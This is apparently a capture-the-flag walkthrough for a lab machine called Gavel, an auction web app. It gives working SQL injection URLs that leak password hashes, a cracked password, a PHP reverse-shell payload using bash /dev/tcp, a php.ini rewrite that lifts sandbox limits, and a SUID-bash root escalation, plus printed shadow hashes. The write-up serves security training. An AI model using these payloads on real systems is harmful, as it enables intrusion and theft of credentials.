Enum
- Config and setup scans
- Update
/etc/hosts
$ export IP=10.129.255.89
$ echo "$IP gavel.htb" | sudo tee -a /etc/hosts
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
Open 10.129.255.89:22
Open 10.129.255.89:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
| 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open http syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
| http-git:
| 10.129.255.89:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Gavel Auction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- Revealed
gavel.htb/.gitso we can dump it for analysis with git-dumper
$ pip install git-dumper
$ git-dumper http://gavel.htb/.git/ gavel-repo
$ tree -L 3
.
└── gavel-repo
├── admin.php
├── assets
│ ├── css
│ ├── img
│ ├── items.json
│ ├── js
│ └── vendor
├── bidding.php
├── includes
│ ├── auction.php
│ ├── auction_watcher.php
│ ├── bid_handler.php
│ ├── config.php
│ ├── db.php
│ └── session.php
├── index.php
├── inventory.php
├── login.php
├── logout.php
├── register.php
└── rules
└── default.yaml
9 directories, 15 files- We see
admin.phpanddb.phpwhich points us towards a foothold, we need to gain access to admin account or database to try and crack hashes - Visiting the website we can register a user and interact with very little

- Seems to be a hint towards a vulnerability in the testimonies from a banned user

- We are given 50,000 monies to bid on items which rotate out based on timers but purchasing them just adds to inventory

- Reviewing source code from
git-dumperwe find vulnerabilities and useful information scattered around - Hard coded roles:
user&auctioneerinadmin.php
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
header('Location: index.php');
exit;
}mysqldatabase attached
$ cat gavel-repo/includes/db.php<?php
require_once __DIR__ . '/config.php';
try {
$pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
die("Database connection failed.");
}- PDO Statement SQLi vulnerability within
inventory.php- User controlled
sortanduser_id - Only literal backticks are replaced
$colis interpolated not parameterized- PDO emulation was not explicitly disabled
- User controlled
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}- PoC Article describes these conditions and how to exploit

- Further along in article we have a payload structure to work with applicable to our situation

- Accounting for the variables we have discovered, craft a URL containing payload such as:
- Requires authenticated session
http://gavel.htb/inventory.php?sort=\?;--&user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables)y;--
- We can narrow down our injection to reveal user information based on revealed structure in
register.php
$stmt = $pdo->prepare("INSERT INTO users (username, password, role, created_at, money) VALUES (:username, :password, :role, :created_at, :money)");- Which lets us derive a payload such as this to leak user credentials:
http://gavel.htb/inventory.php?sort=\?;--&user_id=x` FROM (SELECT CONCAT(username,CHAR(10),password) AS `'x` FROM users)y;--
- Crack the hash
$ hashcat -m 3200 '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' /usr/share/wordlists/rockyou.txt
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1- We can now login as the admin account
auctioneer
User


- With admin access we can edit rules, which is misconfigured for RCE abuse within
admin.php
$rule = trim($_POST['rule'] ?? '');
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);- Then gets fed into
bid_handler.php
$rule = $auction['rule'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
$allowed = false;
}- Whatever rule we add will be executed as PHP
- Enter a new rule containing our payload for revshell
system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'); return true;
- Make a winning bid on the same item, which will trigger the shell so have listener ready
$ penelope -p PORT
www-data@gavel:/var/www/html/gavel/includes$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@gavel:/var/www/html/gavel$ cat /etc/passwd | grep "bash"
root:x:0:0:root:/root:/bin/bash
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash- Can
su auctioneerand reuse password for user flag
www-data@gavel:/var/www/html/gavel$ su auctioneer
Password: midnight1
auctioneer@gavel:/var/www/html/gavel$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
auctioneer@gavel:/var/www/html/gavel$ cd ~;ls
user.txtRoot
- We search for
gavel-sellerperms and discover a binary and some files in/optthat executes as root
auctioneer@gavel:~$ find / -group gavel-seller -type f 2>/dev/null
/usr/local/bin/gavel-util
auctioneer@gavel:~$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct 3 19:35 /usr/local/bin/gavel-util
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
auctioneer@gavel:~$ tree /opt -a
/opt
└── gavel
├── .config
│ └── php
│ └── php.ini
├── gaveld
├── sample.yaml
└── submission [error opening dir]
4 directories, 3 files
auctioneer@gavel:~$ ls -la /opt/gavel
total 56
drwxr-xr-x 4 root root 4096 Nov 5 12:46 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov 5 12:46 submission- We can view
sample.yamlandphp.ini
auctioneer@gavel:~$ cat /opt/gavel/sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off- Can see here that we seem to be able to load a rule
- Executes rule as PHP limited by disabled functions
/opt/gavelis set as basedir- We do not see a block on function
file_put_contents - So perhaps we can rewrite
/opt/gavel/.config/php/php.inivia malicious YAML and rule, unlocking our options.
escape.yaml
name: "asdf"
description: "asdf"
image: "asdf"
price: 69
rule_msg: "we do what we want"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On
open_basedir=/
disable_functions=
");
return false;- Now we load this into the program and verify execution
root.yaml
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit escape.yaml
Item submitted for review in next auction
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
engine=On
open_basedir=/
disable_functions=- Now we are unrestricted and can RCE as
root, so we create another YAML with PHP payload (do whatever you want)
name: "asdf"
description: "asdf"
image: "asdf"
price: 69
rule_msg: "we do what we want"
rule: |
system('chmod u+s /bin/bash'); return false;- SUID should flip and we can spawn root shell
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit root.yaml
Item submitted for review in next auction
auctioneer@gavel:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
auctioneer@gavel:~$ bash -p
bash-5.1$ id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
bash-5.1$ cat /root/root.txt
c68e60b903ab1f6de642fa97323fb795
bash-5.1$ cat /etc/shadow
root:$y$j9T$F4t1iJQb1Y9atV89HlC.k.$rdYP7l6hwov0veW3K1LdYgljvILjVuoCkqlSf7OmAs3:20396:0:99999:7:::
auctioneer:$y$j9T$a4m13RlusE.ItZN9V0MQT1$N1nUleOlY2d1KmlIMvhzatvI5lBieVuAqhmgxcUbsc0:20364:0:99999:7:::